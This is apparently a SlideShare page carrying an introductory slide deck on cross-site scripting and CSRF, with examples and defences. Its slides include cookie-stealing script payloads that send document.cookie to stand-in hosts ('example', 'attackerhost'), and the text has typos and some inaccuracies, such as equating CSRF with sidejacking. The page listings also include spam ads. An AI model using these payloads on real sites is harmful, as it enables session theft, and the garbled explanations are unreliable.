SlideShare a Scribd company logo
1 of 28
XSS and CSRF
A web application may include malicious HTML tags or script
in a dynamically generated page based on invalidated input
from faithful sources. This can be a problem when a web
server does not ensure that generated pages are properly
encoded to prevent unwanted execution of scripts. however
if input is not validated to prevent malicious HTML from being
presented to the user may cause a serious problem.
Usually web browsers have the capability to interpret
scripts embedded in web pages downloaded from a web
server. Those scripts may be written in a variety of scripting
languages and are execute by the client's browser. Most of
the browsers are installed in system with the capability to
execute scripts by default.
The best example of a Web Worm is the Samy Worm, the
first major worm of its kind, spread by exploiting a
persistent Cross-Site Scripting vulnerability in
MySpace.com’s personal profile web page template. In
October of 2005, Samy Kamkar the worms author,
updated h is profile Web page with the first copy of the
JavaScript exploit code.
When an authenticated MySpace user viewed Samy's
profile, the worm payload using XHR, forced the user's web
browser to add Samy as a friend, include Samy as the
user's hero ("but most of all, samy is my hero") , and alter
the user's profile with a copy of the malware code.
Starting with a single visitor the Samy Worm infection grew
exponentially to over 1,000,000 infected user profiles in
under 24 hours. MySpace was forced to shutdown its
website in order to stop the infection, fix the vulnerability,
and perform clean up.
Cross-site Scripting (XSS) is an attack technique which
involves echoing attacker-supplied code into a user's browser
instance. A browser instance can be a standard web browser
client, or a browser object embedded in a software product
such as the browser within like an RSS reader, or an email
client. The code itself is usually written in HTML/JavaScript, but
may also extend to VBScript, ActiveX, Java, Flash, or any
other browser-supported technology.
 Non-persistent,
 Persistent and
 DOM-based.
 SSL-Encrypted Connections May Be
Exposed
 Attacks May Be Persistent Through
Poisoned Cookies
 Attacker May Access Restricted Web
Sites from the Client
 Domain Based Security Policies May Be
Violated
Many web sites has function where
registered users may post messages which
are stored in a database of some kind. A
registered user is commonly tracked using a
session ID cookie authorizing them to post. If
an attacker were to post a message
containing a specially crafted JavaScript, a
user reading this message could have their
cookies and their account extricated.
<SCRIPT>
document.location=
'http://example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack Javscirpt
is stored on the server side, this form of xss
attack is persistent
Many web portals offer a personalized
view of a web site and may greet a
logged in user with "Welcome, <your
username>". Sometimes the data
referencing a logged in user is stored
within the query string of a URL and
echoed to the screen
http://example/index.php?
sessionid=12312312&username=<script>d
ocument.location='http://attackerhost/c
gi-
bin/cookiesteal.cgi?'+document.cookie
</script>
DOM based XSS does not need the web
server to receive the malicious XSS
payload. Instead, in a DOM-based Cross
Site referencing , the attacker scolds
embedding of attacker data in the client
side at runtime , from within a page which
is served from the web server.
Assume that the URL
http://www.vulnerable.site/welcome.html  
contains the following content:
<HTML><TITLE>Welcome!
</TITLE>Hi<SCRIPT>var
pos=document.URL.indexOf("name=")
+5;document.write(document.URL.substri
ng(pos,document.URL.length));</SCRIPT
> Welcome to our system…</HTML>
Reference from webappsec.org
In this example the JavaScript code
embeds part of document.URL (the page
location) into the page, without any
consideration for security. An attacker can
abuse this by luring the client to click on a
link such as
http://www.vulnerable.site/welcome.html?
name=<script>alert(document.cookie)</scr
ipt>  
which will embed the malicious JavaScript
payload into the page at runtime.
  <SCRIPT>
  var pos=document.URL.indexOf("name=")+5;
  var
name=document.URL.substring(pos,document.
URL.length);
  if (name.match(/^[a-zA-Z0-9]$/))
  {
       document.write(name);
  }
  else
  {
        window.alert("Security Error ");
  }
  </SCRIPT>
Reference from webappsec.org
CSRF is defined as an attack of a malicious
Web site which ask a user’s Web browser
to do a malicious action on a trusted
site.
CSRF is also known as Cross-Site Reference
attack, One-Click attack, Sidejacking, or
Session Riding.
Opposite to Cross-Site Scripting (XSS),
which exploits the fath a user has for a
particular site, CSRF exploits the fath that
a site has for a particular user. It is not
necessarily true that defences against
XSS also protect against CSRF.
Example
Example
The HTML form causes a GET request to
append the form data to an URL:
http://example.com/send_email.htm?
to=bob
%40example.com&subject=CSRFTEST&ms
g=When+the+user+...
The page send_mail.htm takes the URL
data and generates an e-mail to the
recipient from the user.
If an attacker can force the user’s browser
to send a HTTP GET request to
send_mail.html, then this page will send
an e-mail on the user’s behalf containing
data chosen by the attacker.
Source: CROSS-SITE REQUESTFORGERIES, Kjell
Jørgen Hole ,NoWires Research Group ,Department of
informatics, University of Bergen
 User must be “logged into” Trusted site
and also visit Attacking site.
 If Trusted site accepts GET requests, then
the <img> tag can be used to generate
a malicious request.
 If Trusted site only accepts POST requests,
then it is necessary to use a JavaScript to
generate malicious request.
 Allow a GET request to only retrieve
data, not modify data on the server
› This protects sites from CSRF using <img>tags
or other types of GET requests
› Recommendation follows RFC 2616
 Require all POST requests to include a
pseudorandom value
› Cryptographically strong value should be set
as a cookie in the user’s browser and be
included in every form submitted to the
server.
› The server should only accept POST request if
the random values in the cookie and the
form are equal Attacker doesn’t have
access to cookie
 Log out immediately after a task has
been completed
 Do not start other tasks while a sensitive
task is performed
 Never store usernames/password in
browser
Thanks !

More Related Content

What's hot

Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Daniel Tumser
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Cm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssCm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssdcervigni
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
What is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsWhat is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsZiv Ginsberg
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerabilitySoumyasanto Sen
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingashutosh rai
 

What's hot (20)

XSS
XSSXSS
XSS
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Click jacking
Click jackingClick jacking
Click jacking
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross site scripting XSS
Cross site scripting XSSCross site scripting XSS
Cross site scripting XSS
 
Cm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssCm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xss
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
What is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsWhat is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgets
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerability
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 

Similar to Xssandcsrf

Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docxsmile790243
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Webandres1422
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET Journal
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 

Similar to Xssandcsrf (20)

Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Css
CssCss
Css
 
CSS.ppt
CSS.pptCSS.ppt
CSS.ppt
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Web
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
4.Xss
4.Xss4.Xss
4.Xss
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
Advanced xss
Advanced xssAdvanced xss
Advanced xss
 
Attacking Web Proxies
Attacking Web ProxiesAttacking Web Proxies
Attacking Web Proxies
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 

Recently uploaded

SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetHyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetEnjoy Anytime
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAndikSusilo4
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Hyundai Motor Group
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 

Recently uploaded (20)

SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetHyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & Application
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 

Xssandcsrf

  • 2. A web application may include malicious HTML tags or script in a dynamically generated page based on invalidated input from faithful sources. This can be a problem when a web server does not ensure that generated pages are properly encoded to prevent unwanted execution of scripts. however if input is not validated to prevent malicious HTML from being presented to the user may cause a serious problem.
  • 3. Usually web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Those scripts may be written in a variety of scripting languages and are execute by the client's browser. Most of the browsers are installed in system with the capability to execute scripts by default.
  • 4. The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in MySpace.com’s personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shutdown its website in order to stop the infection, fix the vulnerability, and perform clean up.
  • 5. Cross-site Scripting (XSS) is an attack technique which involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within like an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
  • 7.
  • 8.  SSL-Encrypted Connections May Be Exposed  Attacks May Be Persistent Through Poisoned Cookies  Attacker May Access Restricted Web Sites from the Client  Domain Based Security Policies May Be Violated
  • 9. Many web sites has function where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account extricated.
  • 10. <SCRIPT> document.location= 'http://example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Due to the fact that the attack Javscirpt is stored on the server side, this form of xss attack is persistent
  • 11. Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen
  • 13. DOM based XSS does not need the web server to receive the malicious XSS payload. Instead, in a DOM-based Cross Site referencing , the attacker scolds embedding of attacker data in the client side at runtime , from within a page which is served from the web server.
  • 14. Assume that the URL http://www.vulnerable.site/welcome.html   contains the following content: <HTML><TITLE>Welcome! </TITLE>Hi<SCRIPT>var pos=document.URL.indexOf("name=") +5;document.write(document.URL.substri ng(pos,document.URL.length));</SCRIPT > Welcome to our system…</HTML> Reference from webappsec.org
  • 15. In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as http://www.vulnerable.site/welcome.html? name=<script>alert(document.cookie)</scr ipt>   which will embed the malicious JavaScript payload into the page at runtime.
  • 16.   <SCRIPT>   var pos=document.URL.indexOf("name=")+5;   var name=document.URL.substring(pos,document. URL.length);   if (name.match(/^[a-zA-Z0-9]$/))   {        document.write(name);   }   else   {         window.alert("Security Error ");   }   </SCRIPT> Reference from webappsec.org
  • 17. CSRF is defined as an attack of a malicious Web site which ask a user’s Web browser to do a malicious action on a trusted site. CSRF is also known as Cross-Site Reference attack, One-Click attack, Sidejacking, or Session Riding.
  • 18. Opposite to Cross-Site Scripting (XSS), which exploits the fath a user has for a particular site, CSRF exploits the fath that a site has for a particular user. It is not necessarily true that defences against XSS also protect against CSRF.
  • 19.
  • 20.
  • 22. Example The HTML form causes a GET request to append the form data to an URL: http://example.com/send_email.htm? to=bob %40example.com&subject=CSRFTEST&ms g=When+the+user+... The page send_mail.htm takes the URL data and generates an e-mail to the recipient from the user.
  • 23. If an attacker can force the user’s browser to send a HTTP GET request to send_mail.html, then this page will send an e-mail on the user’s behalf containing data chosen by the attacker. Source: CROSS-SITE REQUESTFORGERIES, Kjell Jørgen Hole ,NoWires Research Group ,Department of informatics, University of Bergen
  • 24.  User must be “logged into” Trusted site and also visit Attacking site.  If Trusted site accepts GET requests, then the <img> tag can be used to generate a malicious request.  If Trusted site only accepts POST requests, then it is necessary to use a JavaScript to generate malicious request.
  • 25.  Allow a GET request to only retrieve data, not modify data on the server › This protects sites from CSRF using <img>tags or other types of GET requests › Recommendation follows RFC 2616
  • 26.  Require all POST requests to include a pseudorandom value › Cryptographically strong value should be set as a cookie in the user’s browser and be included in every form submitted to the server. › The server should only accept POST request if the random values in the cookie and the form are equal Attacker doesn’t have access to cookie
  • 27.  Log out immediately after a task has been completed  Do not start other tasks while a sensitive task is performed  Never store usernames/password in browser